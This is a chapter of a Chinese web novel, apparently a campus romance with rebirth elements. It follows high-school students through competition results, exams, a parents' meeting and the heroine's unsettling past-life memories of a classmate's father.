“江遇过了初赛,肯定都高兴啊,周霁却不一样,他都第三次了,前两次都没去,都说他是逃兵。”
她也很奇怪啊,一次是不小心,那换成两次呢?
可以再一再二,但不可以再三。
久许想到再三,结合逃兵二字,下意识反驳说:“没去肯定有事,不是故意不去。”
这话一说出口,她自己都愣了,莫名心里一滞。
太过平静的人,要流很多眼泪。
荀子说人本恶,生而有好利焉,教化才能向善。
她不是坏人吗?
舆论真假参半,最能压倒脊梁。
……
因着是大课间,刚好没有跑操,时间还算富裕。
周霁趴在桌上,靠窗处第一排,任由阳光覆身,听着那些碎语,似乎是睡着了,既冷静更沉稳。
久许收回视线,不再看周霁了。
青春期的少年,自我意识增强,有强烈自尊心,最为敏感浮躁,内心脆弱不堪,难经冷嘲热讽。
“这就不知道了。”
林浣回忆过往,想到了些缘由,补充说:“不过小道消息,我那朋友瑶瑶,她亲口跟我说,周霁不去考试,是因为他家人。”
“瑶瑶认识周霁,这消息保真的。”
久许不太理解,轻声说:“家人又怎么了,老师不管管吗?”
林浣沉默片刻,解释说:“周霁这人太冷,整天独来独往,时不时还逃学,上课不认真听。”
“老班最初重视,经常找他谈话。”
“可是到了后来,不知道为什么,老班也由着他,可能管不了吧。”
老班真不管了?
她看着不太像,倒像怜惜周霁
久许没再说话,垂眼看着课本,刚好是文言文,贾谊的过秦论。
后人看待嬴政,当称毁誉参半。
有人说:“始皇出巡,霸王避让,高祖窥视,祖龙不死,无人敢反,群龙不生。”
可是他的人生,死后秘不发丧,像本烂尾小说,结局充满讽刺。
久许却只觉得,若想铸就伟业,莫不血流成河。
现在有流血吗?
怎么没流血呢?
鲎的蓝色血液,成了鲎会无期。
*
这两天是月考。
选择参加复试,就要耽误月考。
学校一个年级,二十来个班级,也不可能推迟。
久许是新来的,学号最后一个,就在五班考试。班里面除了她,还有两个学生,也是七班学生,就是她不熟悉。
考试要考4科。
语文,数学,英语,理综。
考试休息期间。
久许有些意外,碰上了沈若清。
两人打了招呼,没再说些别的,很礼貌很疏离。
而在另外一边,复试也在进行。
学校来的学生,倒算不上太少,他们班就两个。
到了地方以后,闲来无事之际,江遇找到周霁,两人聊起了天,毕竟一个班的,多少是熟悉些。
对周霁的传闻,江遇早知道了。
前两次没参加复试,的确是因为他家人。
一次是他爷爷摔跤,挺严重急着去医院,他只能跟学校请假;一次是妹妹发高烧,打针吃药没什么用,他请假带妹妹看病。
如今这第三次,那努力过的人,运气不会太差。
两人考场不同,至此就分开了。
考试时间三个小时。
说长也长,说短也短。
名次出来挺快。
周霁拿了第一,江遇是第二名,蒋清屿也第二。
江遇?
周霁?
蒋清屿看到后,脑海快速搜索。
江遇倒很熟悉,跟沈家有关系,他很喜欢久许,把久许拐走了。
那周霁是谁呢?
这次考试之前,跟透明人一样,却又有些熟悉。
两人算是故识,意外般碰了面。
蒋清屿没说话,上下打量江遇,思索起了什么。
江遇觉得奇怪,冷声说:“怎么,你有话说?”
怎么?
你有话说?
蒋清屿听这话,莫名愣在原地,脑海浮现画面,很模糊的片段。
…
少女古人装扮,端正坐在桌前,乌发垂落腰际,身形很是瘦弱,藏着哀愁沧桑,红衣却显清冷,似乎在找什么,依旧翻着书籍,回声并未回头。
“阿蒋,你有话说?”
“幽幽。”
男人声音低哑,靠在卧室门上,空有西装革履,尽显孤寂破碎。
少女手上一顿,书本自然合上,呆滞愣在原地。
男人沉默片刻,不觉哀叹了声,艰涩道:“你把我当什么,想喜欢就喜欢?”
…
怎么是幽幽呢?
脸却看不清楚。
蒋清屿回过神,看到江遇以后,熟悉感更强了,淡淡说:“我就是想问问,你知道幽幽吗?”
“好像有些印象。”
江遇微微皱眉,莫名心间泛痛,下意识补充说:“不过,想不起来。”
他好像很熟悉,但却无处寻迹,这感觉很奇怪。
蒋清屿轻声说:“这就够了。”
不是曲径通幽,该是吊古寻幽。
“你很奇怪,那久久呢。”
江遇停顿了下,随意说:“你正在找幽幽,这是为什么呢?”
蒋清屿不意外,打量江遇神情,缓缓说:“你都说了久久,至于那个婚约,不说是口头上,哪怕真要履行,我并不是承誉,她就是久许吗?”
江遇:“什么意思?”
是就是?是久许?
还是不是……
蒋清屿随意说:“对这事感兴趣?”
明明是疑问句,却像极了陈述,仿佛尽在掌握。
江遇斟酌几秒,回复说:“你说得不太对,我对人感兴趣。”
“她是久久。”
蒋清屿顿了顿,补充说:“不是久许。”
言语意思模糊,话也没说清楚。
江遇思索片刻,淡淡说:“你看着很温柔,骨子里透着冷,似乎没有真心,就像毒蛇一样。”
周霁恰好过来,看见两人这般,无奈说:“老师开始催了,你俩去不去啊。”
*
竞赛很快结束,
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学生回了学校。
月考已经结束,成绩单还没出,老师们动作快,已经在讲试卷。
江遇周霁两人,到班级的时候,刚上课几分钟。
这节是语文课,刚好讲文言文,在翻译过程中,涉及真假之别,提到了龚自珍,说到己亥杂诗。
“科以人重科益重,人以科传人可知。”
老师刚说完这句话,就听到了有报告声,看了眼是他们两个,点头示意他们进来,随即拿试卷继续说。
“虽然是理科生,但是总归得学,现在往下边看,这文言文材料,班里同学挺多,有人主动读吗?”
等几分钟下来,见没有人主动。
她拿出名单来,看着所有名字,这个名字陌生,轻声喊:“久许。”
久许听见起立,拿试卷开始读。
“二鸽喻。
昔有雄雌二鸽,共同一巢。秋果熟时,取果满巢。于其……”
老师点头示意,久许坐了下来。
她缓缓说:“这篇文章不难,我判的这道题,得分情况不错,都能写到点上。虽说眼见为实,可是有些时候,眼睛也会骗人,所以面对事情,应该怎么做呢?”
“明是非。”
“不冲动。”
“认清事物内在变化。”
“不能颠倒是非。”
“……”
……
老师得了回复,便留了些时间,让学生做笔记,顺便整理试卷。
她在班里走动,看都整理完了,便往下讲作文,材料是文言文,跟这块有联系,就放一起讲了。
“作文立意要准,绝对不能偏题,材料是文言文,是龚自珍的话。”
“灭人之国,必先去其史;隳人……”
“我们学到现在,常见的文言文,咱们翻译起来,不能再有障碍,但这次挺奇怪,跑题的还不少。”
“立意就六个字,提防文化入侵,同学们要……”
*
过去三个星期,迎来期中考试。
跟月考一样的流程,周一周二两天结束,周三周四判试卷、讲试卷、登成绩、打印成绩单,周五下午开家长会。
这周时间挺紧,时刻争分夺秒。
班主任说,考试出了成绩,按成绩排座位。
成绩出来很快,在周四的上午,成绩单出来了。
这次数学成绩,周霁考了满分,是年级第一名,唯一可惜的是,他总分不算高,偏科有些厉害。
久许总分521分,语文126分,数学119分,英语103分,理综173分,班里第一名。
江遇总分520分,语文114分,数学116分,英语116分,理综174分,班级第二名。
时渡属于正常发挥,语文112分,数学120分,英语115分,理综172分,总分519分。
楚夜考的还行,总分513分,班级第四名。
林浣考了506分,班级第七名。
……
下午最后一节,刚好是英语课。
刘风吟讲完题,就开始排座位,成绩由高到低,自己选坐哪里,等全都选完了,就开始换位置。
久许斟酌片刻,想离老师近些,选中间第一排,还最中间位置,有问题随时问,算是个好位置。
林浣也第一排,坐在久许左边。
久许右边同学,名字叫做苏婳,班级的第六名。
苏婳人挺安静,举止端庄大方,之前学得文科,高二才转理科,现在学习起来,没什么不适应。
江遇斟酌几秒,选了久许后边。
他身高一八二,坐中间第二排,未免有些显眼,挡别人看黑板,为了不耽误人,把凳子放倒坐。
时渡没换位置,就在江遇旁边。
楚夜跟着江遇,两人还是同桌。
换完位置以后,久许看成绩单,自己分析成绩。
三大主科里面,语文数学还好。
英语确实偏科,二卷分数还行,一卷选择差些。
理综还算可以,满分是三百分,物理考得最差,公式背了不少,题也练了不少,却只会选择题。
8. 我们久儿
【08】我们久儿/
“哥哥心系于我,我亦心系哥哥。”
很快周五下午,要开家长会了。
时渡特意提醒:今天没有午休,住宿生早些来,走读生也早些。
学生们吃过饭,用午休这时间,整理好了教室。
原先的安排是,桌子拆成单桌,家长来教室了,坐在学生位置,学生在开会时,站在家长旁边。
后来突然又改,桌子就不拆了,学生站在后边。
成绩单出来时,就时渡有两份。
剩下的成绩单,中午才发下去,在学生们桌上,给家长们留的。
久许昨晚回家,就和父母说了,但是父母都忙,实在抽不开身,没法过来开会,只能就此作罢。
她有问过江遇,他说他也一样。
现在不过两点,家长会没开始,四处热闹得很。
有的学生在和家长聊天,有的学生溜着玩没回来,有的学生正在彼此交谈。
久许在楼道里,正好趴窗台上,看看外边的人,打发打发时间,用不着接家长,没什么事可做。
江遇本来没事,但他舅舅来了,就去校门口接。
不过意外的是,半路就碰上了。
“舅舅。”
江遇不情不愿,烦字写脸上了。
他昨晚都说了,就一个家长会,没有什么大事,不用跑这一趟。
“阿遇。”
陆北辰跟着走,顺便说:“你说你现在啊,这么长时间了,跑这边来上学,家里也不管了。”
“最近你倒还好,想起弟弟来了,能跟无疾联系,时不时打电话,可家长会这事,跟藏宝贝一样,话都不带说的,生怕被人知道,都不想着舅舅。”
“你妗妗知道了,老念叨着你呢,让你多住几天,给你好好补补,这么大小伙子,光长个不长肉。”
“我心里还有数。”江遇出声回复,随即换了话题,平静说:“工作不忙了吗?”
“跟个刺猬似的。”
陆北辰顿了顿,补充说:“我这不是、”
“我就坐在这里。”江遇送到教室,已经进了前门,指下自己座位,随后说:“舅舅呆着就行,铃响了就开始,我先去后边了。”
陆北辰:“等下回家吃饭,你弟弟也在呢。”
“好的,舅舅。”
江遇回完这话,直接去后边了。
*
楚夜父亲来了,跟陆北辰碰上,两人又是故识,自然聊了起来。
楚策率先开口:“北辰,现在不太忙了?等下学校放学,去家里吃个饭。”
两人倒是相像,都是先提吃饭。
陆北辰听这话,回复说:“老楚,家里还有些事,放学就得回去,就不去家里了,我这次来这边,准备带上阿遇,无疾挺想他的,总惦着见哥哥,但身子没好全,自己还来不了。”
“仔细一想也是,都要下元节了。”
楚策思索片刻,补充说:“按你说的来吧,阿遇这次回去,在家多呆几天,有阵子没回了。”
陆北辰缓过神,语调低沉了些,无奈说:“回去了再定吧,阿遇他的性子,你不是不知道,认定就改不了。”
“最早过完生日,晚些就是高考。”
楚策怔愣起来,想要说些什么,却都止于口中。
陆北辰:“光说他做什么,你家那小子呢?”
楚策:“他皮实得很呢。”
就跟猴子似的。
而在教室后边,江遇久许二人,也在说着什么。
“是我舅舅。”
“嗯。”
“他来带我回家。”
“好。”
“久久,我回家这一趟,得有几天回来。”
“行。”
没有追问。
没有回复。
没有质疑。
三问三答三字,有些话没出口,便已有了答案。
*
家长会开始了,没花太长时间,也就一个小时。
主要给学生家长鼓气,又说起家校携手一心,督促家长监督好学生,说学校也会使劲之类。
大家听到后边,有些心不在焉,都想快些结束。
刘风吟很平静,借着投影文件,分析学生成绩,讲技巧给方向,表扬进步学生,鼓励所有学生。
还给了六个字:“教育、成长、共育。”
刘风吟最后又嘱咐:家长带好随身物品,学生认真完成作业。
至此进入尾声,家长会结束了。
久许没去座位,准备继续等会,省得人太拥挤。
江遇陪着她等,直到舅舅出去。
“久久,我得走了。”
久许点了点头,轻声说:“早些回来。”
江遇应了一声,从后门出去了。
久许看人少了,去座位拿东西,拿上了成绩单,背书包准备走,可是还没动身,听见一道男声。
“你这孩子,这么磨蹭,都没人了。”
楚夜:“这什么意思啊?怎么就没人了?”
他才不承认呢?
除了楚夜声音,这男声也熟悉,她听了不舒服。
久许实在好奇,不觉偏过头来,寻着那道男声,怯生生看过去,只看见了侧脸,竟然心里一滞。
她身形颤了下,成绩单掉地上,没捡就离开了。
“久许,你成绩单掉地上了。”
楚夜说着这话,久许却没回头。
他想她没听见,俯身捡成绩单,放到她桌兜里,这才离开教室。
父子俩出教室,走在楼道里面,没有看见久许。
楚策好奇起来,低声问:“你跟爸爸说说,刚刚有喊久许,那校服小姑娘,你俩在谈恋爱?多久、”
“老爸,你胡说什么呢,怎么说这个啊!”
“爸爸哪里胡说,小姑娘那模样,跟你妈妈挺像,见着对方长辈,生怕会被拆散,一下子就溜了。”
“别乱点鸳鸯谱,江遇喜欢人家。”
楚夜很是吃惊,补充说:“你儿子不一样,没做盖世大侠,都是红粉骷髅,才不考虑这些。”
“还盖世大侠呢?小时候就算了,现在刀啊剑啊,一点样子没有。”
楚策语调随意,隐隐有压迫感。
楚夜理直气壮,反驳说:“我哪里不成样子?怎么不比你好啊?你看你就会画画,江遇还天天绣花。就因为一个女子,我才不要这样呢!”
“古人都说,美人怀抱,英雄坟墓。”
“美人膝天下权,什么怀抱坟墓。”
楚策叹了口气,无奈说:“再说了,什么画画,那是图纸,小孩一个。”
就这宝贝疙瘩,他还能怎么办?
“我不要管,我不要管。”楚夜严肃起来,放大招:“你要是再说我,我就告诉我妈,我妈最疼我了。”
哼!
我看你怕不怕。
楚策懒得理他,改口问:“久许那孩子怎么样?”
他总有种错觉,久许很是怕他,刻进骨肉的怕。
楚夜恍然大悟,仔细斟酌片刻,不解说:“你怕不是来拆散有情人的吧。”
这个解析对了。
老爸就是这样,整天神经兮兮,心里好多算计。
“你真是我的好儿子。”
楚策快步走了,他问久许的事,纯粹就是好奇,可儿子倒脑补。
楚夜不明所以,怔愣了好几秒,还是快步跟上。
*
久许回家以后,晚饭没怎么吃。
她说没有胃口,然后找个借口,直接回了卧室。
君悦都要睡了,回想女儿异常。
她中午去学校,人还活泼开朗,家长会回来后,看着过于安静,话也不怎么说,早早就休息了。
久妄洗澡回来,刚坐到了床上。
君悦放心不下,低声说:“我觉得许许不对劲。”
听到妻子的话,久妄看了眼表,都要十点钟了。
“时间也不早了,你就安心睡觉,不用担心许许。”他轻拍她后背,温声说:“不是有我在吗?”
君悦摇了摇头,挣开他的怀抱,只自顾自说着。
“你总是这样说,那时候就这样,可结果怎样呢?结果是什么呢?没护士说漏嘴,你想瞒我多久?”
“那晚下着大雨,电闪雷鸣不断,医院冷森森的,大人都会害怕。”
“我的许许,小小一个,没人陪着。”
“哭也不哭,闹也不闹。”
“为人丈夫,为人父亲,哪有这样……”
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>她说着说着话,眼眶莫名泛红,不觉掉了眼泪。
“悦儿,这次真不会了。”
久妄凑了过来,握着她的左手,见她没有反应,自然单膝下跪,正好跟她平视,柔声说:“你不相信别人,还不相信我吗?”
君悦张了张口,想要说些什么,不知从何说起。
久妄耐心安抚:“那般错全在我,是我来得太晚,跟悦儿没关系。”
“跪天跪地跪父母,你怎么还跪上了。”
君悦猛然心疼,下意识扶起他,看着眼前的人,无奈说:“我若是真的怪你,就没有这十几年,我只是心疼许许。一次我没有护住,不能再来一次了。”
“你是不相信我。”久妄停顿了下,无奈说:“还是不相信你?”
君悦心起波澜,思及过往种种,淡淡说:“我不信她自己。”
久妄心里不解,却也没再追问。
……
到了久许这边。
卧室没有开灯,人是躺在床上,却并没有睡着。
久许莫名心慌,甚至胸口骤疼。
她回想着下午,从只言片语里,找到了些信息。
男人叫做楚策。
是楚夜的父亲。
楚策这个男人,哪怕是上一世,也只听过名字,没有太多交集,更别说认识了,当真奇怪得很。
她总莫名觉得——
身形熟悉,语气熟悉,举止熟悉,还有侧颜……
她只听他声音,不自觉地想逃,下意识地想跑。
久许隐约记得,上一世医院里,似乎也有个人,是她主治医生,记不太清脸了,却觉得是楚策。
这想法才出来,她就开始恐惧,甚至开始害怕。
久许意识清醒,并不认识楚策。
在教室后边时,她和楚夜聊天,问楚策的职业,楚夜说建筑师。
她记忆错了吗?
她家人骗她吗?
她不该相信吗?
不对,她相信哥哥的,哥哥对她很好。
一旦有了念头,就停不下来了,根本不好解脱,甚至难以摆脱。
久许意识到了,起来找药找水。
她心里很着急,行事慌慌张张,灯都顾不上开,在走路的时候,没有看到凳子,就磕到了右腿,却像没感觉到,直接拐了过去,翻找抽屉的药。
也就几个药片。
直接吞了下去。
月光洒落地面,冷风透窗而入。
久许缓过心神,回到床上躺下,闭眼准备睡觉。
可她刚闭上眼,就突然想起来,回家这么久了,没回江遇消息,侧身打开平板,给他发了消息。
【晚安。】
消息发了过去,迟迟没有回复。
久许有些失落,开始胡思乱想,不觉情绪低落。
江遇对待久许,只是一时上头,等新鲜感耗尽,再无情意可言,他就会抛下你,开启新的恋爱。
或许…
她读懂了…
久许很快回神,垂眼看向手腕,那之前的疤痕,已经不明显了。
家人时常会说:“还好在胳膊上,没有什么事情。”
江遇却不一样,说女孩子娇气。
她该相信他吗?
她该相信他吧。
药效缓缓起来,睡意悄然袭来,思绪混乱不堪。
久许做了个梦,梦里像要出嫁。
…
房间古朴精致,少女身穿嫁衣,正在对镜梳妆。
生得明眸皓齿,唇瓣不染而赤,肌肤白皙无瑕;身姿如花似柳,满眼秋波不断,清纯不失妩媚;宛如带刺玫瑰,尽显倾城之姿,令人心醉神迷。
男子黑金锦袍,耐心为她盘发,温声道:“我们久儿真美,哥哥没看够呢,就该要嫁人了。”
“我要姐姐幸福。”
温润少年凑近,身着张扬红衣,衬其妖冶至极,却低声哽咽道:“姐姐不嫁的话,我去挣好多钱,养姐姐一辈子。”
“哥哥心系于我,我亦心系哥哥。”
少女说完这话,眼泪流了出来,打花脸上妆容,涩声道:“遂遂说什么呢,他哪敢辜负我。”
你问心无愧吗?
我不骗小姑娘。
镜花水月惑人,应是当局者迷。